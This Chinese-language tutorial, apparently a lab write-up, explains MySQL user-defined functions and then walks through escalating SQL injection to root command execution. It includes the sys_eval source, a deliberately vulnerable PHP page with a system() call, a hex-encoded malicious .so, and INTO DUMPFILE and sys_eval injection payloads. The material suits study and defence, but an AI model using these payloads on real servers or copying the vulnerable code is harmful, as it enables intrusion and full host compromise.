UDF（user defined function)

mysql自带的函数有user(),version()等,除了自带的函数,用户可以自定义一些函数方便在查询的时候使用它们,我们把这些函数称之为UDF(user defined function)

用法:

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create function function_name returns {string|integer|real|decimal} routine_body

function_name:函数名

routine_body:由合法的sql语句构成的函数体

举个例子:

查询user表id为1的username我们应该这么写:

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select username from user where id = 1;

执行结果如下:

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+----------+
| username |
+----------+
| mengda   |
+----------+

这个时候我们自定义一个函数

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create function getUserName(userid int) returns varchar(30) return (select username from user where id = userid);

然后执行这个函数

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select getUserName(1);

执行结果如下:

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+----------------+
| getUserName(1) |
+----------------+
| mengda         |
+----------------+

create function中的SONAME关键字

我们来看这一行sql语句

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create function udf_add returns int SONAME "udf_add.so";

so文件命名规则被称为SONAME,在这个地方,我们的udf_add函数需要从udf_add.so文件中去加载,查看加载so文件的路径

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show variables like '%plugin%';
+-------------------------------+------------------------+
| Variable_name                 | Value                  |
+-------------------------------+------------------------+
| default_authentication_plugin | mysql_native_password  |
| plugin_dir                    | /usr/lib/mysql/plugin/ |
+-------------------------------+------------------------+

可以看到mysql会去加载/usr/lib/mysql/plugin/下的so文件

我自己尝试写了一下这个udf_add.so

udf_add.cpp

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#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <mysql.h> 
extern "C" {
int udf_add(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){
	int a = *((int *)args->args[0]);  
    int b = *((int *)args->args[1]);  
    return a + b;  
}
bool udf_add_init()  
    {  
        return 0;  
    }  
}

可以看到这里我定义了一个udf_add函数,传入函数的是一个UDF_ARGS数组,取前两位相加获得结果

创建.so文件,并将其移动到对应的so文件目录

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gcc udf_add.cpp -fPIC -shared -o udf_add.so

创建自定义函数

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create function udf_add returns int SONAME "udf_add.so";

查看当前自定义函数:

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select * from mysql.func;
+---------+-----+------------+----------+
| name    | ret | dl         | type     |
+---------+-----+------------+----------+
| udf_add |   2 | udf_add.so | function |
+---------+-----+------------+----------+

执行自定义函数

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select udf_add(3,4);

结果:可以看到已经完成了计算返回了7,至此我们成功调用了第三方库当中的函数.

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+--------------+
| udf_add(3,4) |
+--------------+
|            7 |
+--------------+

自己写这样一个udf_app.so是为了更好的理解这个加载的过程,互联网上已经有现成的.so文件,其中实现了许多的函数,其中就包括可以命令执行的sys_eval()函数,如下:

完整源码来源:https://github.com/mysqludf/lib_mysqludf_sys/blob/master/lib_mysqludf_sys.c

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char* sys_eval(
	UDF_INIT *initid
,	UDF_ARGS *args
,	char* result
,	unsigned long* length
,	char *is_null
,	char *error
){
	FILE *pipe;
	char line[1024];
	unsigned long outlen, linelen;

	result = malloc(1);
	outlen = 0;

	pipe = popen(args->args[0], "r");

	while (fgets(line, sizeof(line), pipe) != NULL) {
		linelen = strlen(line);
		result = realloc(result, outlen + linelen);
		strncpy(result + outlen, line, linelen);
		outlen = outlen + linelen;
	}

	pclose(pipe);

	if (!(*result) || result == NULL) {
		*is_null = 1;
	} else {
		result[outlen] = 0x00;
		*length = strlen(result);
	}

	return result;
}

思考:对于第三方导入的函数其对应的操作是由我们mysql去完成的,如果mysql是由root用户启动,那么自定义函数的一切操作都是由root身份去完成的,也就是说如果这个时候我们能在so文件中加载一个执行命令的函数,那么我们执行的一切都是通过root身份去执行的.

由sql注入到提权

我搭建了一个简易的web环境,其中存在sql注入

后端代码:

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<?php
include "conn.php";
@$cmd = $_POST['cmd'];
@$id = $_POST['id'];
if ($cmd){
    system($cmd);
}
if ($id){
    $sql = "SELECT * FROM user WHERE id = ".$id;
    echo "执行的sql语句:".$sql;
    echo "<br>";
    mysqli_multi_query($link,$sql);
    $result = mysqli_store_result($link);
    $result_arr = mysqli_fetch_assoc($result);
    echo $result_arr['username'];
}
?>

简单分析一下,很明显,sql语句存在拼接,存在sql注入,并且使用了mysqli_multi_query()可执行多条sql语句,cmd参数会直接命令执行

尝试命令执行,发现根目录存在flag文件

当前权限为www-data:

尝试读取,无法读取,权限不足

因为存在sql注入,考虑通过利用sql注入写入恶意.so文件,利用mysql进行命令执行,读取flag

so文件路径一般默认为/usr/lib/mysql/plugin/

将我们准备好的so文件进行16进制编码,这里的方法有很多种,不做解释,编码完成的结果如下:

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0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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0000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000

构造payload:

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-1;select hexdata INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

这里的hexdata就是刚刚转换出来的16进制

**注:**这里使用INTO DUMPFILE进行文件写入,需要开启load_file()及secure_file_priv 没有限制

查看secure_file_priv:可以看到value为空,没有任何限制(这个限制,就是限制mysql允许写入文件的路径,为空就是允许所有)

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show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

构造payload写入udf.so

创建自定义函数:

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id=-1;CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

使用自定义函数执行命令:

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id=-1 union select 1,sys_eval('whoami');

可以看到此时已经是root权限了

读取flag

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id=-1 union select 1,sys_eval('cat /flag');